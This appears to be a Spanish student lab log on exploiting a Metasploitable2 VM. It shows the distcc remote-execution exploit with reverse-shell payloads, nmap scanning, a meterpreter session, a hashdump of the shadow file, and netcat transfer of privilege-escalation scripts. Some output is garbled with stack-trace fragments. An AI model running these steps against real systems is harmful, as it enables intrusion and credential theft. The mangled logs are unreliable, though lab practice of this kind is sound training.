

EJERCICIOS - INTRODUCCIÓN A LA ELEVACIÓN DE PRIVILEGIOS Y TRANSFERENCIA DE FICHEROS

Prerrequisitos

- KALI LINUX
- METASPLOITABLE2
- WINDOWSPOITABLE LPE

1- SISTEMA LINUX

- Explotación de la vulnerabilidad CVE-2004-2687 aka distcc para acceso con usuario limitado.

```
msf6 > search cve:2004-2687

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/misc/distcc_exec             2002-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
--      -
RHOSTS    10.0.2.15        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
--      -
LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/misc/distcc_exec) > set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):
```

Name	Current Setting	Required	Description
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	3632	yes	The target port (TCP)

```

Payload options (cmd/unix/reverse):
```

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo twvIRyaJkS8XSq7q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 3: Escape: command not found\r\ntwvIRyaJkS8XSq7q\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.2.15:4444 → 10.0.2.8:35687) at 2023-01-26 18:53:36 +0100

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

daemon@metasploitable:/tmp$ whoami
whoami
daemon
```

- Enumeración básica y recopilación de información de la máquina utilizando módulos de metasploit y comandos.

```
msf6 exploit(multi/handler) > db_nmap -sV 10.0.2.8 -T 5 -O
[*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-26 18:59 CET
[*] Nmap: Nmap scan report for 10.0.2.8
[*] Nmap: Host is up (0.00038s latency).
[*] Nmap: Not shown: 977 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 21/tcp    open  ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp    open  telnet       Linux telnetd
[*] Nmap: 25/tcp    open  smtp         Postfix smtpd
[*] Nmap: 53/tcp    open  domain       ISC BIND 9.4.2
[*] Nmap: 80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp   open  rpcbind      2 (RPC #100000)
[*] Nmap: 139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp   open  exec         netkit-rsh rexecd
[*] Nmap: 513/tcp   open  login?
[*] Nmap: 514/tcp   open  tcpwrapped
[*] Nmap: 1099/tcp  open  java-rmi     GNU Classpath grmiregistry
[*] Nmap: 1524/tcp  open  bindshell    Metasploitable root shell
[*] Nmap: 2049/tcp  open  nfs          2-4 (RPC #100003)
[*] Nmap: 2121/tcp  open  ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp  open  vnc          VNC (protocol 3.3)
[*] Nmap: 6000/tcp  open  X11          (access denied)
[*] Nmap: 6667/tcp  open  irc          UnrealIRCd
[*] Nmap: 8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 08:00:27:7B:5D:38 (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.9 - 2.6.33
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds
```

```
msf6 exploit(multi/handler) > options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

exploit(multi/handler)

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/handler) > exploit -j
```

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.2.15:4444

```
msf6 exploit(multi/handler) > [*] Sending stage (1017704 bytes) to 10.0.2.8
```

[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.8:56402) at 2023-01-26 19:20:33 +0100

```
* meta3 /usr/share/metasploit-framework
```

```
msf6 > workspace -v
```

Workspaces

~/msf4/loot

current	name	default	hosts	services	vulns	creds	loots	notes
20230126	default	10.0.2.15	10	42	10	0	2	24
	VERO	10.0.2.15	8	41	0	3	0	12
	metasploitable	10.0.2.15	1	2	0	8	0	0
	metasploitable2	10.0.2.15	1	36	185	6	0	3
	OWASP	10.0.2.15	1	1	0	4	0	1
	android	10.0.2.15	0	0	0	2	0	0
	windowsloitable	10.0.2.15	1	1	1	6	0	7
*	meta3	10.0.2.15	1	23	1	0	10	2

```
msf6 post(linux/gather/enum_system) > back
msf6 > workspace
```

```
[*] Linux version stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_570120.txt
[*] User accounts stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_768921.txt
[*] Installed Packages stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_937240.txt
[*] Running Services stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_320121.txt
[*] Cron jobs stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_851379.txt
[*] Disk info stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_439901.txt
[*] Logfiles stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_739563.txt
[*] Setuid/setgid files stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt
[*] CPU Vulnerabilities stored in /root/.msf4/loot/20230126192736_meta3_10.0.2.8_linux.enum.syste_797929.txt
[*] Post module execution completed
```

```
(root@kali)-[~/msf4/loot]
# ls
20230125104638_default_10.0.2.101_host.application_373261.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_320121.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_768921.txt
20230125221022_default_10.0.2.101_enum_patches_560126.txt      20230126192736_meta3_10.0.2.8_linux.enum.syste_439901.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_797929.txt
20230126192712_meta3_10.0.2.8_linux.version_611002.txt         20230126192736_meta3_10.0.2.8_linux.enum.syste_570120.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_851379.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt     20230126192736_meta3_10.0.2.8_linux.enum.syste_739563.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_937240.txt
```

20230125104638_default_10.0.2.101_host.application_373261.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_320121.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_768921.txt
20230125221022_default_10.0.2.101_enum_patches_560126.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_439901.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_797929.txt
20230126192712_meta3_10.0.2.8_linux.version_611002.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_570120.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_851379.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_739563.txt	20230126192736_meta3_10.0.2.8_linux.enum.syste_937240.txt

```

root@kali:~/msf4/loot# cat 20230126192712_meta3_10.0.2.8_linux.version_611002.txt
Distro: debian,Version:
VM to an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started, Kernel: Linux metasploitab 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

```

[illegible]

```
(root@kali)~[~/msf4/loot]
# cat 20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt
/bin/umount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/sbin/unix_chkpwd
/usr/bin/sudoedit
/usr/bin/Eterm
/usr/bin/X
/usr/bin/bsd-write
/usr/bin/netkit-rsh
/usr/bin/ssh-agent
/usr/bin/gpasswd
/usr/bin/mlocate
/usr/bin/crontab
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/chage
/usr/bin/screen
/usr/bin/expiry
/usr/bin/arping
/usr/bin/at
/usr/bin/xterm
/usr/bin/newgrp
/usr/bin/wall
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuid
/usr/sbin/postqueue
/usr/sbin/postdrop
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

```
msf6 post(linux/gather/hashdump) > options
```

Module options (post/linux/gather/hashdump):

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

```
msf6 post(linux/gather/hashdump) > sessions
```

Active sessions

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux root @ metasploitable.localdomain	10.0.2.15:4444 → 10.0.2.8:56402 (10.0.2.8)

```
msf6 post(linux/gather/hashdump) > set session 1
```

```
session => 1
msf6 post(linux/gather/hashdump) > exploit
```

```
[*] Post module execution completed
msf6 post(linux/gather/hashdump) > workspace -v
```

Workspaces

current	name	hosts	services	vulns	creds	loots	notes
	default	10	42	10	0	2	24
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
	metasploitable2	1	36	185	6	0	3
	OWASP	1	1	0	4	0	1
	android	0	0	0	2	0	0
	windowsloitable	1	1	1	6	0	7
*	meta3	1	23	1	0	13	2

```
(root@kali)~[~/msf4/loot]
# ls
20230125104638_default_10.0.2.101_host.application_373261.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_439901.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_851379.txt
20230125221022_default_10.0.2.101_enum_patches_560126.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_570120.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_937240.txt
20230126192712_meta3_10.0.2.8_linux.version_611002.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_739563.txt 20230126194119_meta3_10.0.2.8_linux.passwd_732307.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_768921.txt 20230126194120_meta3_10.0.2.8_linux.passwd.his_004366.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_320121.txt 20230126192736_meta3_10.0.2.8_linux.enum.syste_797929.txt 20230126194120_meta3_10.0.2.8_linux.shadow_420885.txt
```



```

(root@kali)~[~/.msf4/loot]
# cat 20230126194120_meta3_10.0.2.8_linux.shadow_420885.txt
root:$1$/avpFBj1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: meterpreter/packet_dispatcher
daemon:*:14684:0:99999:7::: meterpreter/channel.rb:15
bin:*:14684:0:99999:7::: meterpreter/packet_dispatcher
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0.:14742:0:99999:7::: meterpreter/packet_dispatcher
sync:*:14684:0:99999:7::: meterpreter/packet_dispatcher
games:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
man:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
lp:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
mail:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
news:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
uucp:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
proxy:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
www-data:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
backup:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
list:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
irc:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
gnats:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
nobody:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
libuuid:!:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
dhcp:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
syslog:*:14684:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0.:14742:0:99999:7::: meterpreter/packet_dispatcher
sshd:*:14684:0:99999:7::: meterpreter/packet_dispatcher
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: meterpreter/channel.rb:15
bind:*:14685:0:99999:7::: meterpreter/channel.rb:15
postfix:*:14685:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
ftp:*:14685:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7::: meterpreter/packet_dispatcher
mysql:!:14685:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
tomcat55:*:14691:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
distccd:*:14698:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
user:$1$HESu9xrH$K.o3G93DGoXIiQKkPmUgZ0.:14699:0:99999:7::: meterpreter/packet_dispatcher
service:$1$kR3ue7JZ$7GxELDUpR50hp6cjZ3Bu//:14715:0:99999:7::: meterpreter/packet_dispatcher
telnetd:*:14715:0:99999:7::: meterpreter/packet_dispatcher
proftpd:!:14727:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging
statd:*:15474:0:99999:7::: /usr/lib/ruby/vendor/bundle/ruby/3.1.0/gems/logging-2.2.2/lib/logging-2.2.2/bin/logging

```

```

msf6 post(linux/gather/enum_containers) > use post/linux/gather/enum_network
msf6 post(linux/gather/enum_network) > options

```

Module options (post/linux/gather/enum_network):

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

```

msf6 post(linux/gather/enum_network) > set session 1
session => 1
msf6 post(linux/gather/enum_network) > options

```

Module options (post/linux/gather/enum_network):

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.


```
[*] Running module against metasploitable (10.0.2.8)
[*] Module running as root
[+] Info:
```

```
(root@kali)-[~/msf4/loot]
# ls
20230125104638_default_10.0.2.101_host.application_373261.txt  20230126192736_meta3_10.0.2.8_linux.enum.syste_797929.txt  20230126195215_meta3_10.0.2.8_linux.enum.netwo_148715.txt
20230125221022_default_10.0.2.101_enum_patches_560126.txt    20230126192736_meta3_10.0.2.8_linux.enum.syste_851379.txt  20230126195215_meta3_10.0.2.8_linux.enum.netwo_247687.txt
20230126192712_meta3_10.0.2.8_linux.version_611002.txt       20230126192736_meta3_10.0.2.8_linux.enum.syste_937240.txt  20230126195215_meta3_10.0.2.8_linux.enum.netwo_492868.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_072478.txt   20230126194119_meta3_10.0.2.8_linux.passwd_732307.txt      20230126195215_meta3_10.0.2.8_linux.enum.netwo_826757.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_320121.txt   20230126194120_meta3_10.0.2.8_linux.passwd.his_004366.txt   20230126195215_meta3_10.0.2.8_linux.enum.netwo_860604.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_439901.txt   20230126194120_meta3_10.0.2.8_linux.shadow_420885.txt      20230126195215_meta3_10.0.2.8_linux.enum.netwo_957710.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_570120.txt   20230126195215_meta3_10.0.2.8_linux.enum.netwo_041327.txt   20230126195215_meta3_10.0.2.8_linux.enum.netwo_976006.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_739563.txt   20230126195215_meta3_10.0.2.8_linux.enum.netwo_112907.txt  20230126195215_meta3_10.0.2.8_linux.enum.netwo_992928.txt
20230126192736_meta3_10.0.2.8_linux.enum.syste_768921.txt   20230126195215_meta3_10.0.2.8_linux.enum.netwo_118290.txt
```

```

(root@kali)~[~/msf4/loot]
# cat 20230126195215_meta3_10.0.2.8_linux.enum.netwo_112907.txt
/etc/network:
if-down.d      usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:156:in
if-post-down.d internal:time:224:in 'initialize'
if-pre-up.d    internal:time:224:in 'now'
if-up.d        internal:time:224:in 'now'
interfaces     usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
/etc/network/if-down.d: metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
postfix        usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
wpasupplicant  usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in 'block in sp
usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in 'block
/etc/network/if-post-down.d: ploit-framework/vendor/bundle/ruby/3.1.0/gems/logging-2.3.1
wireless-tools 2:95: warning: Exception in finalizer <Proc:0x00007f8116ed0000 /usr/shar
wpasupplicant  xploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:147:in 'syv
usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
/etc/network/if-pre-up.d: xploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
wireless-tools  usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
wpasupplicant  usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:199:in
usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:156:in
/etc/network/if-up.d:  time:224:in 'initialize'
mountnfs       internal:time:224:in 'now'
mountnfs.orig  internal:time:224:in 'now'
ntpd           usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
openssh-server usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
postfix        usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.i
wpasupplicant  usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in 'block in sp

```

```

msf6 > sessions -i 1
[*] Starting interaction with 1...

```

```

meterpreter > ls
Listing: /home/msfadmin

```

Mode	Size	Type	Last modified	Name
020666/rw-rw-rw-	0	cha	2010-03-17 00:01:07 +0100	.bash_history
040755/rwxr-xr-x	4096	dir	2010-04-17 20:11:00 +0200	.distcc
040700/rwx-----	4096	dir	2023-01-25 12:25:01 +0100	.gconf
040700/rwx-----	4096	dir	2023-01-25 12:25:31 +0100	.gconfd
100600/rw-----	4174	fil	2012-05-14 08:01:49 +0200	.mysql_history
100644/rw-r--r--	586	fil	2010-03-17 00:12:59 +0100	.profile
100700/rwx-----	4	fil	2012-05-20 20:22:32 +0200	.rhosts
040700/rwx-----	4096	dir	2010-05-18 03:43:18 +0200	.ssh
100644/rw-r--r--	0	fil	2010-05-07 20:38:35 +0200	.sudo_as_admin_successful
100644/rw-r--r--	3031	fil	2023-01-25 12:49:43 +0100	index.html
100755/rwxr-xr-x	234	fil	2023-01-25 03:05:34 +0100	test.elf
040755/rwxr-xr-x	4096	dir	2010-04-28 05:44:17 +0200	vulnerable

```
msf6 auxiliary(sniffer/psnuffle) > search smb_version
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/smb/smb_version		normal	No	SMB Version Detection

Interact with a module by name or index. For example `info 0`, `use 0` or `use auxiliary/scanner/smb/smb_version`

```
msf6 auxiliary(sniffer/psnuffle) > use 0
```

```
msf6 auxiliary(scanner/smb/smb_version) > options
```

Module options (auxiliary/scanner/smb/smb_version):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS	1	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.0.2.8
```

```
rhost => 10.0.2.8
```

```
msf6 auxiliary(scanner/smb/smb_version) > options
```

Module options (auxiliary/scanner/smb/smb_version):

Name	Current Setting	Required	Description
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS	1	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/smb/smb_version) > run
```

```
[*] 10.0.2.8:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.0.2.8:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.0.2.8: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1xhpIalQQ8oyW41C;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1xhpIalQQ8oyW41C\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.2.15:4444 → 10.0.2.8:40199) at 2023-01-30 19:08:56 +0100

ls
4592.jsvc_up
getuid
sh: line 8: getuid: command not found
ls -l
total 0
-rw-r--r-- 1 tomcat55 nogroup 0 Jan 30 13:06 4592.jsvc_up
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
shell
[*] Trying to find binary 'python' on the target machine
^C
Abort session 1? [y/N] n
[*] Aborting foreground process in the shell session

daemon@metasploitable:/tmp$
daemon@metasploitable:/tmp$ ls
ls
4592.jsvc_up
daemon@metasploitable:/tmp$ uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
daemon@metasploitable:/tmp$ ls -l
ls -l
total 0
-rw-r--r-- 1 tomcat55 nogroup 0 Jan 30 13:06 4592.jsvc_up
daemon@metasploitable:/tmp$ hostname
hostname
metasploitable
daemon@metasploitable:/tmp$ pwd
pwd
/tmp
daemon@metasploitable:/tmp$
```

- Transferencia a la máquina vulnerable, utilizando netcat, de cualquiera de los scripts vistos en clase para comprobar vulnerabilidades locales.

```
(root@kali)-[/home/veronica/Documentos]
# nc 10.0.2.8 8080 -w 3 < linuxprivchecker.py
```

```
(root@kali)-[/home/veronica/Documentos]
#
```

```
msfadmin@metasploitable:~$ nc -lvp 8080 > linuxprivchecker.py
```

```
msfadmin@metasploitable:~$ ls
index.html  LinEnum.sh  linuxprivchecker.py  test.elf  vulnerable
msfadmin@metasploitable:~$
```

```
msfadmin@metasploitable:~$ sudo ./linuxprivchecker.py
```

```
root
+1 Environment
SHELL=/bin/bash
TERM=linux
USER=root
SUDO_USER=msfadmin
SUDO_UID=1000
USERNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6
bin
MAIL=/var/mail/msfadmin
PWD=/home/msfadmin
LANG=en_US.UTF-8
SHLVL=1
SUDO_COMMAND=./linuxprivchecker.py
HOME=/home/msfadmin
LOGNAME=root
SUDO_GID=1000
_=/usr/bin/env
+1 Current User
root
!!) ARE YOU SURE YOU'RE NOT ROOT ALREADY?
msfadmin@metasploitable:~$
```

```
HOME=/home/msfadmin
LOGNAME=root
SUDO_GID=1000
_=/usr/bin/env
[+] Current User
    root

[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?

msfadmin@metasploitable:~$ nc -lvp 8080 > LinEnum.sh
listening on [any] 8080 ...
10.0.2.15: inverse host lookup failed: Unknown host
connect to [10.0.2.8] from (UNKNOWN) [10.0.2.15] 41092
msfadmin@metasploitable:~$ ls
index.html  LinEnum.sh  linuxprivchecker.py  test.elf  vulnerable
msfadmin@metasploitable:~$ rm LinEnum.sh
msfadmin@metasploitable:~$ ls
index.html  linuxprivchecker.py  test.elf  vulnerable
msfadmin@metasploitable:~$ nc -lvp 8080 > LinEnum.sh
listening on [any] 8080 ...
10.0.2.15: inverse host lookup failed: Unknown host
connect to [10.0.2.8] from (UNKNOWN) [10.0.2.15] 45910
msfadmin@metasploitable:~$ ls
index.html  LinEnum.sh  linuxprivchecker.py  test.elf  vulnerable
msfadmin@metasploitable:~$ _
```

- Ejecución del script a través de shell.

```
[*] Any interesting mail in /var/mail:
total 12
drwxrwsr-x  2 root      mail 4096 2022-12-15 06:32 .
drwxr-xr-x 14 root      root 4096 2010-03-17 10:08 ..
-rw-----  1 msfadmin  mail   0 2010-04-28 17:15 msfadmin
-rw-----  1 root      mail 1697 2022-12-15 06:32 root

[+] We can read /var/mail/root! (snippet below)
From user@metasploitable.localdomain  Fri May  7 14:36:46 2010
Return-Path: <user@metasploitable.localdomain>
X-Original-To: root
Delivered-To: root@metasploitable.localdomain
Received: by metasploitable.localdomain (Postfix, from userid 1001)
        id 017F7CCBE; Fri,  7 May 2010 14:36:45 -0400 (EDT)
To: root@metasploitable.localdomain
From: user@metasploitable.localdomain
Auto-Submitted: auto-generated
Subject: *** SECURITY information for metasploitable.localdomain ***

### SCAN COMPLETE #####
msfadmin@metasploitable:~$ sudo ./LinEnum.sh > pentest.txt
msfadmin@metasploitable:~$
```

```
### SCAN COMPLETE #####
msfadmin@metasploitable:~$ sudo ./LinEnum.sh > pentest.txt
msfadmin@metasploitable:~$ ls
index.html  LinEnum.sh  linuxprivchecker.py  pentest.txt  test.elf  vulnerable
msfadmin@metasploitable:~$ _
```

```
GNU nano 2.0.7      File: pentest.txt

^[[00:31m#####^[[00m
^[[00:31m^[[00m ^[[00:33mLocal Linux Enumeration & Privilege Escalation Script$
^[[00:31m#####^[[00m
^[[00:33m# www.rebootuser.com^[[00m
^[[00:33m# version 0.982^[[00m

[-] Debug Info
^[[00:33m[+] Thorough tests = Disabled^[[00m

^[[00:33mScan started at:
